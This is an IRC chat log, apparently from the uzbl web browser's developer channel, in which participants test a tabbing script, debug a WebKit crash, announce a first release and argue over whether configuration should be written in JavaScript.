17:26 < bob_f> Um, Rodya ^
17:29 < lazzareth_> I wonder if brainfuck well ever be self hosting...
17:31 < lazzareth_> Hey ruskie can you check out my latest uzbl_tabbing.py and see if it works for you
17:31 < lazzareth_> I've tested it myself but I dont have a crazy config like you :P
17:32 < ruskie> just wanted to do so ;)
17:32 < ruskie> just need a part of the git uri ;)
17:33 < lazzareth_> http://github.com/mason-larobina/uzbl/blob/dd78febd4d7f063bf42e5c80d852540a61ab1adf/examples/data/uzbl/scripts/uzbl_tabbed.py
17:33 < ruskie> only needed the: mason-larobina ;)
17:34 < lazzareth_> Oh right .. :)
17:36 < ruskie> hmm
17:37 < lazzareth_> ruskie, Working?
17:37 < ruskie> nope
17:38 < ruskie> open in new tab isn't
17:38 < lazzareth_> :O
17:38 < ruskie> newfromclip fails as well
17:38 < lazzareth_> You mean open url in new tab?
17:38 < ruskie> yup
17:38 < lazzareth_> I've changed the command
17:38 < ruskie> ahh
17:38 < lazzareth_> Check your config
17:38 < lazzareth_> (At least I hope I did..)
17:39 < lazzareth_> Also I know you dont like ellipsis' in your tab title so theres an option to turn them off.
17:40 < ruskie> http://sprunge.us/UQhG
17:41 < ruskie> getting them when trying new from clp
17:41 < lazzareth_> Do you have xclip installed?
17:43 < bob_f> lazzareth_: "ellipses", I think.
17:43 < ruskie> lazzareth_, yup
17:43 < ruskie> hmm
17:43 < ruskie> actually no
17:43  * ruskie installs
17:44 < ruskie> seems to work
17:44 < ruskie> no obvious issues so far
17:44 < lazzareth_> http://en.wikipedia.org/wiki/Ellipsis
17:44 < ruskie> don't see any loss of focus but I guess focus follows mouse takes care of that
17:44 < lazzareth_> I'm kinda right.
17:45 < lazzareth_> ruskie, What about when using the new tab key binding, dont do anything and start typing and then change tab. Do you see commands in the new tabs status_bar ?
17:46 < ruskie> erm?
17:46 < ruskie> so I go new tab uri?
17:46 < lazzareth_> nope
17:46 < lazzareth_> just gn for new tab
17:46 < ruskie> just new tab?
17:46 < lazzareth_> but dont click on the window
17:46 < lazzareth_> then type another command
17:46 < lazzareth_> does it show up?
17:46 < lazzareth_> (given you have "dont-switch-on-new-tab" on)
17:47 < ruskie> yup
17:47 < ruskie> shows up
17:47 < lazzareth_> on hidden tab or current tab?
17:48 < ruskie> on current tab
17:48 < lazzareth_> Well then, seems to be me having all the problems :)
17:48 < ruskie> lazzareth_, or just me using sloppy focus ;)
17:48 < ruskie> and this was without mouse moving
17:49 < lazzareth_> ruskie, Try it with both the tablist on and gtk tabs on
17:50 < ruskie> still works
17:50 < bob_f> lazzareth_: Yup, the plural is "ellipses".
17:50 < lazzareth_> bob_f, It sure is.
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17:53 < ruskie> lazzareth_, also uzbl stopped crashing ;)
17:53 < bob_f> Hooray !
17:53 < lazzareth_> ruskie, Was that my doing?
17:53 < ruskie> no clue
17:53 < lazzareth_> ruskie, Also you will notice sessions working in the new version :D
17:53 < ruskie> I haven't done anything
17:53 < ruskie> I don't use those ;)
17:54 < lazzareth_> ruskie, Well too bad (unless you've disabled them :P)
17:54 < ruskie> yup
17:54 < ruskie> I disable things ;)
17:54 < ruskie> hmm would be nice to have the fancy tabs vertical as well ;)
17:54 < lazzareth_> ruskie, I dont mean cookie sessions I mean when you close the window dump the current uzbl instances urls and reload them
17:54 < lazzareth_> ruskie, I'm working on it
17:54 < ruskie> yes I know what you mean by session ;)
17:55 < ruskie> I prefer an on demand store_session command
17:55 < lazzareth_> Oooo, that might be interesting.
17:55 < ruskie> maybe even a store_session 1 restore_session 1 then store_session 2 etc...
17:55 < ruskie> and you can load whichever you want
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17:56 < ruskie> maybe even text instead of numbers ;)
17:56 < lazzareth_> Ripping good idea.
17:57 < |newbie|> i use uzbl from experimental, and it opens pages which have tag target twice, it two windows
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17:57 < ruskie> hmm I get new two windows as well when I open a link in new window
17:57 < lazzareth_> |newbie|, Known issue, the patch is out there but Dieterbe has been lazy pulling it in afaik.
17:57 < ruskie> minor annoyance really
17:58 < ruskie> still miss a open in new tab command/item
17:58 < ruskie> something that could link into the various link numbering as well
17:58 < bct> i think somebody's got that working too
17:58 < |newbie|> lazzareth_: :(
18:00 < lazzareth_> |newbie|, It came up in discussion a few days ago and as far as I know the patch is out there, sorry I dont know much more than that.
18:01 < ruskie> I should make my own fork and merge in various patches since I tend to be impatient ;)
18:01 < |newbie|> lazzareth_: i understand, i will wait, thx
18:02 < ruskie> hmm lazzareth_ any way to disable the numbers? so that only titles are left?
18:02 < ruskie> I know I can disable titles
18:02 < lazzareth_> ruskie, Yes (not yet though).
18:02 < ruskie> ok
18:02 < lazzareth_> ruskie, I'm working on a version with custom formatter support so you can write your own title formats like the status_format in uzbl.
18:05 < lazzareth_> ruskie, I.e. ' [ INDEX / PAGES {TITLE - URL} ] '  (the sections enclosed in {}'s mark ellipsable regions in the format so that when you open a tonne of tabs it can compensate accordingly and truncate the shrinkable regions and not chop off valuable title characters)
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18:10 < Dieterbe> lazzareth_: you calling me lazy?? 
18:10 < lazzareth_> :P
18:10 < Dieterbe> lazzareth_: you deserve a kick in da nuts !
18:11  * Dieterbe kicks lazzareth_ in da nuts
18:11 < lazzareth_> Its all in good jest.
18:13 < lazzareth_> Dieterbe, So do you know if a patch has been committed anywhere?
18:13 < Dieterbe> lazzareth_: patch for what? (still need to read my backlog)
18:14 < lazzareth_> Dieterbe, The open new window opens two new windows bug
18:15 < Dieterbe> i think holizz' tree fixes that
18:18 < Dieterbe> lazzareth_> |newbie|, Known issue, the patch is out there but Dieterbe has been lazy pulling it in afaik <-- do you know where the patch is?
18:19 < lazzareth_> No idea sorry, beep holizz.
18:22 < bct> FS#16 says fixed in holizz/experimental.
18:22 < lazzareth_> bob_f, Found a bug in your cookies.py http://bitbucket.org/bobf/uzbld/src/e0e932c7be7a/pyuzbld/cookies.py#cl-66
18:22 < lazzareth_> Oh wait sorry. Scrap that.
18:23 < bct> how come flyspray doesn't display the dates that bugs were logged and comments were made?
18:23 < bct> it's kind of annoying.
18:23 < lazzareth_> bob_f, Would be nice to use os.path.join for that though because os.environ['XDG_DATA_HOME'] could end with a '/' ..
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18:25 < lazzareth_> Dieterbe, Also if you need to read fifo's asynchronously I've got some working code for that in uzbl_tabbed
18:25 < lazzareth_> Gah
18:26 < lazzareth_> Sorry I mean bob_f above ^
18:26 < lazzareth_> bob_f, (this is all about your uzbld)
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18:47 < lazzareth_> Well night guys, have a good one.
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19:01 < jfredett> just curious, want to make sure I understand how this works- if I do set TRUE = 1 then set Some_boolean_expecting_thing = TRUE, it's equivalent to setting that boolean_expecting thing as 1. right?
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19:18 < N30N> hey guys
19:18 < N30N> can somone not using ahr64 tell me if http://en.wikipedia.org/wiki/Bla crashes uzbl?
19:19 < N30N> s/ahr64/arch64/
19:19 < jfredett> half a sec.
19:19 < N30N> crashed after half a sec?
19:19 < jfredett> nope, seems to work fine for me (arch i686)
19:20 < N30N> hmmm (thanks for checking)
19:20 < jfredett> np
19:21 < N30N> does it on other webkit browsers so it's a 64bit thing I guess
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19:25 < bct> N30N, just that specific page?
19:26 < N30N> neh there are quite a few
19:26  * ruskie is still loading that Bla page
19:26 < ruskie> on 64
19:26 < bct> i don't have uzbl handy right now, but wikipedia's has been working fine for me on gentoo amd64
19:26 < dxdx> N30N: how does it crash? segfault?
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19:26 < N30N> yeh segfault
19:27 < dxdx> N30N: do you know how to get a backtrace?
19:27 < ruskie> hmm still seems to be loading
19:27 < ruskie> but it's stuck
19:27 < N30N> dxdx: ermm no but it's on the wiki aint it? :)
19:28 < dxdx> i don't think so
19:29 < dxdx> $ gdb uzbl, (gdb) run, crash it, (gdb) bt, pastebin
19:29 < ruskie> hmm doesn't seem to load for me at all
19:29 < dxdx> that's copypasta from the irc log, i should write the wiki page instead
19:29 < ruskie> #########___ <-- this is where it got stuck
19:29 < ruskie> no crash
19:30 < ruskie> percent of load ;)
19:30 < N30N> ruskie: ok 1 min (things are a bit crazy here, being friday :))
19:32 < ruskie> hmm failing at making an ascii spinner for uzbl in the statusbar...
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19:46 < N30N> ruskie: ok back, here's the backtrace: http://pastebin.com/d4322933e
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19:52 < dxdx> fucking "??"
19:52 < dxdx> but anyway, i've seen similar backtraces with regexp match
19:52 < dxdx> wonder why doesn't it happen to everybody
19:52 < dxdx> N30N: webkit version?
19:53 < N30N> 1.1.10
19:53 < dxdx> it hates you
19:53 < dxdx> that is the problem
19:53 < N30N> :'o
19:54 < Dieterbe> lazzareth_: 
19:54 < Dieterbe>    set show_tablist        = 0
19:54 < Dieterbe>    set show_gtk_tabs       = 1
19:54 < Dieterbe>    set switch_to_new_tabs  = 1
19:54 < Dieterbe>    set save_session        = 1
19:54 < Dieterbe>    set gtk_tab_pos         = right
19:54 < Dieterbe> shouldn't that give me gtk buttons for tabs on the right, each below each other? like ruskie had it?
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19:57 < dxdx> http://www.uzbl.org/wiki/debugging_crashes just created this, improvements welcome
20:01 < N30N> hmmm uzbl and midori crash but not arora so it a gtkwebkit prob :/
20:01 < dxdx> weirder
20:01 < N30N> lol
20:02 < dxdx> what lib does arora use?
20:02 < dxdx> khtml?
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20:04 < N30N> dxdx: it uses webkit
20:04 < ruskie> qtwebkit iirc
20:05 < ruskie> Dieterbe, hmm looks like it
20:05 < N30N> indeed
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20:05 < ruskie> set show_gtk_tabs       = 1
20:05 < ruskie> set gtk_tab_pos         = right
20:07 < Dieterbe> doesn't work for me
20:07 < Dieterbe> i put that in my $XDG_CONFIG_HOME/uzbl/config
20:08 < ruskie> and you launch uzbl_tabbed.py right?
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20:09 < Dieterbe> yes
20:09 < Dieterbe> the latest one from mason-larobina's git
20:10 < ruskie> hmm
20:10 < Dieterbe> actually i just want to make a cool screenshot of a uzbl_tabbed instance with the tabs in your style
20:10 < Dieterbe> but you can make the screenie if you want
20:11 < ruskie> I can make it
20:11 < Dieterbe> please do :)
20:11 < ruskie> lemme switch the font first
20:11 < ruskie> since you're alergic to the pterra font ;)
20:12 < Dieterbe> :)
20:12 < ruskie> long tabs or short ones?
20:13 < ruskie> I'll go with 8 chars
20:13 < Dieterbe> sounds good
20:15 < ruskie> http://ruskie.codemages.net/caches/uzbl-aerialmono-tab.png
20:15 < ruskie> that good enough?
20:16 < dxdx> oh shit
20:16 < dxdx> xbox hueg fonts
20:16 < Dieterbe> can you make it the same size as http://www.uzbl.org/wiki/_detail/uzbl_tabbed1.png?id=uzbl_tabbed ?
20:16 < Dieterbe> so that i can put both img's nicely below each other
20:17 < Dieterbe> luckily you can easily control window size through the config
20:17 < Dieterbe> other then that, looks ok
20:17 < ruskie> ok
20:21 < ruskie> Dieterbe, reload
20:22 < ruskie> that ok?
20:25 < N30N> hmm seems the the bug I'm having is fixed in webkit trunk, I'll d/l that later ;)
20:26 < ruskie> Dieterbe, yeah uzbl_tabbed only though... would be nice to be able to control it throguh -g|--geometry regular uzbl as well ;)
20:27 < Dieterbe> ruskie: the image geometry is close enough. but is there any reason why the statusbar is like that? it looks a bit awkward. all text so short, and so many lines
20:27 < ruskie> Dieterbe, intentionaly ;)
20:28 < ruskie> I have a 4 line statusbar
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20:29 < ruskie> anything less was to badly cluttered to make use of
20:29 < Dieterbe> ruskie: okay.. too bad uzbl.org is so badly designed for small windows.. could you maybe show some other page ? maybe http://ruskie.codemages.net/ ;) oh, and upload the picture to the wiki please :)
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20:30 < ruskie> hmm what if I zoom out a bit more?
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20:31 < ruskie> Dieterbe, reload... that better?
20:32 < ruskie> still need to figure out how to upload
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20:37 < Dieterbe> ruskie: aha. http://ruskie.codemages.net/caches/uzbl-aerialmono-tab.png looks okay, but why is there a black bar at the bottom?
20:38 < ruskie> hmm
20:38 < ruskie> gah bad encode
20:38  * ruskie redos cleaner
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20:40 < ruskie> that's better
20:41 < Dieterbe> indeed
20:41 < Dieterbe> i shall use this one
20:42 < ruskie> how do I upload?
20:42 < ruskie> to the wiki
20:43 < ruskie> hmm
20:43 < ruskie> maybe I don't have the ACL
20:43 < ruskie> well feel free to up it for me
20:48 < ruskie> you can also use the image directly I won't remove it
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20:48 < Dieterbe> k
20:49 < ruskie> hmm will need to update my software page and add recommendation for uzbl to use
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21:10 < Dieterbe> there. the first release has happened
21:11 < ruskie> yay
21:11 < N30N> :O
21:12 < ruskie> hmm will need to modify the spell now
21:14 < jrick> woah, cool
21:14 < Dieterbe> ruskie: modify spell?
21:15 < ruskie> for source mage ;)
21:15 < ruskie> spell ~= ebuild
21:15 < Dieterbe> oh lol
21:15 < ruskie> to make git clone secondary and release the primary option
21:15 < jrick> I wish a newer webkit was in the freebsd ports tree so I could make a port of this now
21:16 < ruskie> hmm 1.1.10 in source mage ;)
21:16 < bct> i have a confession to make
21:17 < bct> i considered using source mage, the only reason i didn't is because the package manager's command names are too silly
21:17 < bct> which is a terrible reason.
21:17 < N30N> I wasn't going to post it yet but I gotta WIP hints script that works better than the one included in the package. Want me to put it up on the wiki quick?
21:18 < Dieterbe> N30N: clone me on github and ask me to merge
21:18 < bct> better how?
21:19 < DuClare> bct: I thought its names are awesome :)
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21:19 < github> uzbl: Dieter Plaetinck master SHA1-9a32a5f
21:19 < github> uzbl_tabbed is now included with sample scripts
21:19 < github> http://bit.ly/17zvWl
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21:20 < N30N> Dieterbe: neh it's not ready to be merged yet, if I had known you where doing the first rel, I would have made time to finish it
21:20 < Dieterbe> that doesn't make any sense
21:21 < Dieterbe> giving the pace of merging in code.. i will merge in your stuff when it's ready
21:21 < N30N> Dieterbe: k
21:24 < N30N> bct: http://pastebin.com/d2c6ac858 if you wanna test it
21:25 < N30N> oh and bind :follow * = js UzblHints.follow("%s");
21:25 < N30N> and bind f = keycmd :follow
21:25 < N30N> for you cfg ^^ space on the end
21:27 < bct> N30N, cool, i'll test when i get home.
21:28 < Dieterbe> there's also scj's new formfiller ( http://github.com/Dieterbe/uzbl/commit/cf39d7e6df56ea40b182e909aa154ef43fa03c52 ) it's still pending for merge because i couldn't get it to work
21:28 < N30N> bct: tab dose not work yet, you need to use ; to focus the next hint
21:28 < Dieterbe> oh wait
21:28 < Dieterbe> formfiller != linkfollower. sorry
21:30 < N30N> Dieterbe: don't you think the wiki is a better place for this stuff rather than including the examples folder?
21:31 < Dieterbe> not really no.  but i think some people prefer wiki's. but not me :)
21:36 < ruskie> bct give it a try sometime... we don't bite...
21:36 < bct> next time i'm forced to reinstall, maybe i will
21:37 < bct> though if exherbo's a bit more mature by then you may be out of luck ;)
21:38 < ruskie> what's exherbo?
21:39 < bct> distro made by a bunch of disgruntled ex-gentooers
21:39 < bct> (the good kind of disgruntled, the kind that gets things done)
21:39 < ruskie> lol
21:40 < ruskie> I tend to focus my bad energy into productive energy
21:40 < ruskie> For people with crappy window managers or on platforms
21:40 < ruskie> over which they have very little control (*cough* you know who you are),
21:40 < ruskie> lazy ones or just those who haven't seen the light yet
21:40 < ruskie> lol
21:40 < ruskie> fvwm is NOT a crappy WM ;)
21:41 < bct> twm 4 lyfe
21:41 < ruskie> I tried a tilling wm... frankly needed to do more window managing there than in fvwm
21:41 < jrick> is the current master branch the same as the new release?
21:42 < bct> how do you figure that ruskie?
21:42 < ruskie> bct, with my current fvwm config I have all the major things opened in specific spots and so on
21:42 < Dieterbe> jrick: yes
21:42 < jrick> Dieterbe: ok, thanks
21:42 < ruskie> i.e. browser on page2, irssi terminal on page1, mail on page3 etc...
21:42 < ruskie> those are all fullscreen
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21:43 < bct> well if it's all fullscreen then there's no point in tiling, true.
21:43 < jrick> ruskie: which one did you try?
21:43 < ruskie> then on page5 I have a pile of gkrellms and some smaller fixed location terms
21:43 < ruskie> as for $random terminals I tend to want those under my mouse
21:44 < bct> most tiling wms have no problem opening things on specific desktops.
21:44 < ruskie> ctrl+alt+t and I get insta focused terminal
21:44 < ruskie> and considering I tend to have 8-12 pages not a big prob
21:44 < ruskie> and dual head as well
21:45 < ruskie> basically I like smaller floating terms above the primary app on the page
21:46 < bct> that's bad and you are a bad person for wanting it
21:46 < bct> :P
21:46 < ruskie> :)
21:46 < ruskie> to each his own ;)
21:46 < ruskie> I prefer my setup over anything else ;)
21:46 < ruskie> I would say it's supperior for my own use than anything else
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21:46 < ruskie> I tend to need some chaos which some of the pics on my site will atest to
21:47 < bct> how dare you say that people doing things different from me makes me very angry
21:47 < ruskie> :)
21:47 < bct> :) yay happy channel
21:47 < jrm8005> lazzareth_: did you get your home directory back?
21:47 < ruskie> jrm8005, btw I believe the JS config is atm laid to rest iirc
21:48 < jrm8005> woo
21:48 < jrick> aww
21:48 < jrm8005> sanity, or laziness prevailed.
21:48 < ruskie> jrm8005, check the logs though
21:48 < jrm8005> ruskie: where?
21:49 < ruskie> hmm
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21:50 < jrm8005> I see no mention of logs on the homepage :\
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21:52 < bct> there's no official log of this channel afaik
21:52 < ruskie> http://www.uzbl.org/irc-log <-- might be here but not sure if that's updated, official(if it is then it needs to be mentioned publicaly someplace) and so on
21:54 < eekee> last line of that dates from July 1st
21:54 < eekee> so not too old
21:54 < ruskie> I think the discussion was from today though
21:54 < eekee> ah
21:54 < ruskie> yesterday/today
21:55 < jrm8005> anyone want to give me the reader's digest version?
21:55 < ruskie> I only remember it vaguely
21:55 < jrm8005> did Dieterbe give his opinion?
21:55 < ruskie> he was the one that put it to rest iirc
21:56 < jrm8005> ah.
21:56 < eekee> yeah looks like it
21:56 < jrm8005> eekee?
21:56 < jrm8005> aren't you in #plan9 sometimes?
21:56 < eekee> looking at the log, but dind't load it word wrapped >.< gimme a sec
21:57 < eekee> about config files, right?
21:57 < ruskie> yup js config specifically
21:57 < eekee> Jul 03 11:24:10 <Dieterbe> scj: afaict all advantages js has (such as functions, variables in the config itself,..) break features of the config style we have now: the ability to just export and import the "state" of uzbl with commands, as the state is entirely inside uzbl
21:59 < eekee> that was quite a short discussion
22:00 < ruskie> eekee, it was longer than that
22:00 < ruskie> spread over multiple houres
22:00 < ruskie> erm hours
22:00 < ruskie> started sometime yesterday iirc
22:00 < ruskie> you know irc conversation lag
22:01 < jrm8005> I was flamefesting about it day before yesterday, too.
22:01 < eekee> oh I gotcha
22:01 < eekee> ah :)
22:01 < ruskie> I was against the js config as well
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22:04 < eekee> hmm
22:06 < uranther> so no JS config huh?
22:08 < bct> it doesn't sound like it was a flat-out, final "no".
22:09 < bct> more of a "meh, that's not a good enough reason."
22:10 < jrm8005> bct: actually, the gist seems to be ``all this stuff you want will break what we have''
22:11 < ruskie> also iirc there's been some work on a python version of uzbl by holizz and a crew of hackers
22:11 < holizz> ruskie, Just me.
22:11 < ruskie> ahh
22:11 < uranther> why does it matter if it breaks things? uzbl breaks stuff all the time since it's in a pre-alpha
22:11 < jrm8005> uranther: it's a fundamental breakage.
22:12 < jrm8005> not something you can quick-fix
22:12 < bct> "fundamental" is debatable.
22:12 < holizz> ruskie, Although I did have a chat with somebody who did some work on pywebkitgtk. He had a baby. Aww.
22:12 < uranther> include an equivalent config.. problem solved?
22:12 < uranther> that was the idea, anyways
22:12 < jrm8005> uranther: so now you want 2 configs for the program?
22:12 < bct> it's neat to be able to dump uzbl's state, but i'm not sure how useful it is.
22:13 < jrm8005> bct: very
22:13 < bct> oh dear this is going to be another flamewar isn't it.
22:13 < ruskie> bct, if you're like lazzareth_ and wipe your config being able to dump it is helpfull ;)
22:13 < uranther> yeah i'm not going to fuel it
22:13 < uranther> how bout we make a wiki?
22:13 < uranther> listing benefits
22:13 < jrm8005> not really, since the main developer said `no'
22:13 < uranther> strategy, etc
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22:13 < jrm8005> uranther: how about just do it on a fork?
22:13 < uranther> there's that option too
22:14 < bct> why are you so combatative jrm8005?
22:14 < uranther> gon' make some coffee...
22:14 < jrm8005> bct: how is that combative? Instead of you all bitching here, go do it
22:14 < bct> who was bitching?
22:14 < eekee> you what?
22:15 < eekee> It's javascript for crying out loud, it's a bit far from the concepts "neat", "tidy", or "elegant". Not as far as php, perhaps
22:16 < jrm8005> thank science there's another 9fan here now.
22:16 < eekee> heheheh
22:17 < bct> besides, i already decided that my fork is going to use a java applet for configuration.
22:17 < eekee> jrm8005: what would js config give that would make it worth sacrificing the ability to save state?
22:17 < jrm8005> eekee: I really don't know.
22:17 < jrm8005> some have complained about having to parse the config file.
22:18 < jrm8005> I was unamused, since I'm writing a compiler.
22:18 < jrm8005> s/unamused/unsympathetic
22:18 < eekee> ahh I see
22:18 < jrm8005> some want to be able to script everything and start basically turning it into a platform
22:18 < jrm8005> which I tried to say goes against the whole point of uzbl, but whatever, then when I said I use sam and ed the flamefesting started.
22:19 < eekee> the web already is a platform, & that's half the trouble with it, no?
22:19 < eekee> ah :/
22:19 < jrm8005> that's all the trouble with it :P
22:19 < eekee> I think you're right
22:19 < eekee> Firefox is a platform
22:19 < jrm8005> another point I raised.
22:20 < jrm8005> I guess there are two main groups of users, people like you and I, and people who want a leaner (but still feature-packed) firefox.
22:20 < jrm8005> the latter group argues for js, the former argues for sanity.
22:20 < eekee> there's no such thing as a leaner but still feature-packed firefox
22:20 < jrm8005> of course. Features add bloat.
22:21 < jrm8005> I tried to explain that at some point, people have to learn to just say no.
22:21 < jrm8005> but that's not something many people like to hear.
22:21 < eekee> granted FF uses a bit more ram to make pages load quicker
22:21 < bct> if you design the thing properly you can allow people to add their own features while actually making the thing simpler
22:22 < bct> e.g. lisp.
22:22 < jrm8005> bct, yeah, then you get emacs.
22:22 < jrm8005> and I don't want an emacsitor. Or a viitor. I want an editor.
22:22 < jrm8005> (or a samitor. Excuse me while I call up Oxford)
22:23 < bct> don't blame the tool for what people do with it.
22:23 < jrm8005> bct, no, I think I shall blame the tool for being an enabler.
22:23 < jrm8005> I don't like enablers.
22:23 < jrm8005> lisp is good as a language. Incorporating lisp into an application is brain damage.
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22:24 < jrm8005> I'm sure people will argue that platform-enablers are better than KISS, but I don't exactly see a ton of lisp machines around these days.
22:25 < eekee> no, we have C machines instead
22:25 < jrm8005> apparently running Unix.
22:26 < jrm8005> eekee: you know who we need in this channel?
22:26 < eekee> who?
22:26 < jrm8005> Uriel.
22:26 < eekee> XD
22:26 < jrm8005> I don't know how he does it, this is hard.
22:26 < eekee> it's making me think hard
22:27 < eekee> what's the line between "the application" and... erm...
22:27 < eekee> what users do with it...
22:28 < jrm8005> ?
22:28 < eekee> it's hard to think about
22:29 < jrm8005> ah. well, the interface, really
22:29 < jrm8005> which should be fairly elegant and consice.
22:29 < eekee> yeah that's true
22:30 < jrm8005> god, I have to modify a bash script and I've been using rc for a couple months.
22:30 < jrm8005> I forgot how ugly everything else is.
22:31 < eekee> also uzbl can be scripted with shell script or any language you like to name including (I'm sure) some standalone javascript interpreter, so why both throw away the ability to save state (which is highly valuable in a browser) AND force the config to be javascript for the sake of building a scripting language (one language) right in
22:31 < eekee> That's really the thing here, it's building one language in at the expense of others
22:32 < jrm8005> that's true. Despite needing to cart around a js interpreter, you force other languages out.
22:32 < bct> eh? no.
22:32 < jrm8005> my worry was that people will do what happened with the Awesome WM.
22:32 < eekee> what's that?
22:33 < jrm8005> and start slowly rewriting the whole program in the config's scripting language.
22:33 < bct> you could still write to the fifo like you can with the current config language.
22:33 < eekee> oh yeah
22:33 < jrm8005> bct: then you need to keep the old config interpreter around.
22:33 < jrick> jrm8005: I never used awesome2, but I don't think you could really "export the current state" to outside scripts, so lua was an improvement imho
22:33 < bct> jrm8005, no, you'd be writing js to the fifo instead.
22:33 < jrm8005> jrick: the state thing is not a good comparison
22:33 < eekee> bct: but non-javascript scripts would come to be viewed as not the proper way of doing it
22:34 < bct> i'm not sure that's true.
22:34 < bct> that depends on our culture, not on the structure of our tools
22:34 < eekee> it's a culture that's pernicious and invasive >.<
22:35 < jrm8005> man this is better with another 9fan around.
22:35 < jrick> jrm8005: the point of the current config is that you can pass values to any langauge you want, however, I don't think this was possible with awesome2
22:35 < jrm8005> jrick: the only comparison I wanted to make was that awesome added lua configs, and soon the whole WM was being rewritten.
22:36 < jrm8005> whatever the rationale for doing js configs, you'd see the same thing happen to uzble
22:36 < bct> you can't extrapolate from one example like that.
22:36 < jrm8005> people would go ``waaah, the C is too hard, I don't wanna recompile it'' and then the whole damn browser would start being done up in JS.
22:36 < jrick> jrm8005: well, that is true. now almost everything in awesome is written in lua, like layouts, etc.
22:36 < bct> you may very well be right, but you're making very definite statements.
22:36 < eekee> emacs is pretty-much written in it's own scripting language
22:36 < jrm8005> bct: it's not an isolated thing.
22:37 < bct> other examples?
22:37 < jrm8005> emacs, xmonad, awesome,
22:37 < jrick> jrm8005: but the devs know all that, they even now call awesome "a platform to build your own wm"
22:37 < jrm8005> jrick: hence, I stopped using awesome, told Julien he's gone insane, and started using a *real* window mangler.
22:37 < eekee> don't want to get to the position where you need to be comfortable with one particular language to use it
22:37 < jrick> jrm8005: well, I switched to xmonad :)
22:37 < bct> xmonad was always pure haskell wasn't it?
22:38 < jrm8005> bct: yes, but the idea is similar.
22:38 < jrm8005> you write the behavior of the wm in the config and pass that as the main function.
22:38 < bct> i don't see the connection you're making.
22:38 < bct> why is that a bad thing in xmonad's case?
22:39 < jrm8005> maybe not so much in xmonad's case, but an example of pushing implementation to a config file, which is retarded.
22:39 < bct> the line between configuration and programming isn't exactly clean cut
22:39 < eekee> true
22:39 < bct> especially when you're talking about tools for programmers.
22:40 < jrm8005> bct: bullshit.
22:40 < jrm8005> a config file is just a vessel for setting the tunables of a program.
22:40 < jrm8005> (or should be)
22:40 < bct> what's difference between "writing a config file in language x" and "writing a script in language x that writes configuration to a fifo using custom language y"?
22:41 < jrm8005> bct: because the original program isn't interpreting anything.
22:41 < eekee> custom language y may be a lot cleaner & easier to learn, being designed for the purpose
22:41 < bct> (especially when language z could just write language x to a fifo in the first case)
22:41 < jrm8005> it just multiplexes the communication channels.
22:41 < jrm8005> bct: you're forcing everything to talk js, and you're letting the config become code inside the program.
22:41 < jrm8005> that is *wrong*
22:42 < jrm8005> the program should just define its interface cleanly: cookie stuff goes to this `port' or `channel' and I don't think about it.
22:42 < jrick> jrm8005: can I ask what wm you switched to?
22:42 < jrm8005> rio
22:43 < eekee> rio's got a clean interface alright
22:43 < jrm8005> it's so nice.
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22:43 < jrm8005> I wish it would multiplex itself on linux.
22:43 < jrick> jrm8005: ah, I was thinking you would be using something like scrotwm
22:43 < jrm8005> but you can kinda fudge it with workspaces.
22:43 < jrm8005> scrotwm?
22:43 < jrick> yeah
22:43 < eekee> lol
22:43 < jrm8005> is that like scrotum?
22:43 < jrick> lol, no
22:43 < jrm8005> more or less tasty?
22:43 < jrm8005> :P
22:44 < eekee> jrm8005: that's a linux/X problem more than a window manager problem. linux is unix which was designed to be a toy version of mainframe OSs; everything centralised
22:44 < eekee> X was just designed without due care & attention lol
22:44 < jrm8005> eekee: yeah, I know. I saw someone trying to make /dev/draw work on Lunix.
22:45 < bct> jrm8005, eekee: i agree that a simple interface that does all the important things right is the best case
22:45 < bct> but we don't really have that right now.
22:45 < eekee> jrm8005: interesting, but I'll wait for glendix
22:45 < jrm8005> eekee: hell, glendix will use it if we can
22:45 < eekee> ah gotcha
22:46 < eekee> bct: I think I'd rather keep polishing a simple interface than work with a programmatic one
22:46 < jrm8005> eekee: we were talking about something like that for the linux framebuffer.
22:46 < jrm8005> bct: there really isn't much wrong with the current interface, either.
22:46 < eekee> jrm8005: ah great!
22:47 < jrm8005> eekee: yeah, it will be a lot of work, but it would be nice.
22:47 < bct> well, there is. the download handler isn't passed everything it needs.
22:48 < jrm8005> bct: I made it work just fine.
22:48 < bct> nobody's quite sure about whether we should spawn a new process for every invocation of the cookie handler.
22:48 < jrm8005> what's missing?
22:48 < bct> POST, cookies and httpauth.
22:48 < jrm8005> bct: I would recommend another fifo for talking to a constantly-running cookie program
22:48 < jrm8005> actually, I'd recommend doing all these fifos as a real FS, through FUSE or something
22:48 < bct> the way things are escaped and quoted is not always consistent.
22:49 < jrm8005> hm
22:49 < jrm8005> sounds trivial.
22:49 < jrm8005> next.
22:49 < bct> it can be polished, certainly, but it's rather ad-hoc right now.
22:50 < jrm8005> bct: it's an alpha. that's to be expected.
22:50 < ruskie> hmm bct I'd propose both... daemon or constantly call it
22:50 < jrm8005> ruskie: not necessarily daemon. A forked off process that sleeps
22:50 < jrm8005> listening to a fifo like uzbl does.
22:50 < ruskie> hmm anyone know if webkit supports socks4a or socks5?
22:51  * eekee wonders if a daemon is a simpler thing than something that has to muck about locking on disk
22:51 < jrm8005> so basically, uzbl would have a file structure, the current fifo could be `ctl', then there could be a `cookies', a `forms'
22:51 < ruskie> I'm trying to get tor+privoxy working through
22:51 < ruskie> but am getting dns leaks
22:51 < ruskie> so I can't actually access .onion sites
22:53 < eekee> heh, I'm reading an article on the inefficiencies of OO languages & it makes big beef out of the inportance of clean interfaces. "Often there is no distinction between the code of a class and the interface of a class."
22:53 < jrm8005> eekee: Is it the one on cat-v.org? If not, could you give me a link?
22:53 < eekee> jrm8005: yep cat-v
22:54 < eekee> I'm thinking I'll start saying that I like software with clean interfaces rather than some vague notion of minimalism
22:54 < jrm8005> eekee: good plan.
22:55 < jrm8005> Rob seemed to like the word `elegance'
22:55 < eekee> elegance doesn't mean a lot to a lot of people
22:55 < jrm8005> unfortunately.
22:56 < jrm8005> you basically have to force them to read all of cat-v.org and then hope they learn something.
22:56 < eekee> I wonder if the word's been mis-applied a bit too. Ada.
22:56 < eekee> :}
22:58 < Dieterbe> bct> nobody's quite sure about whether we should spawn a new process for every invocation of the cookie handler. <-- i'm pretty sure we shouldn't.
22:58 < jrm8005> eekee: Jacques Derrida tried to make the point that since everyone's definition of anything carries inherent connotations shaped by their unique life experience, it is impossible to actually impart an idea on someone accurately
22:59 < eekee> jrm8005: oh I quite agree :)
22:59 < jrm8005> Dieterbe: how about my idea? Spawn a cookie monster once and have them talk via FIFO or something?
22:59 < jrm8005> plan9 uses that to great effect with the plumber.
22:59 < jrm8005> you get nice IPC for pretty much free.
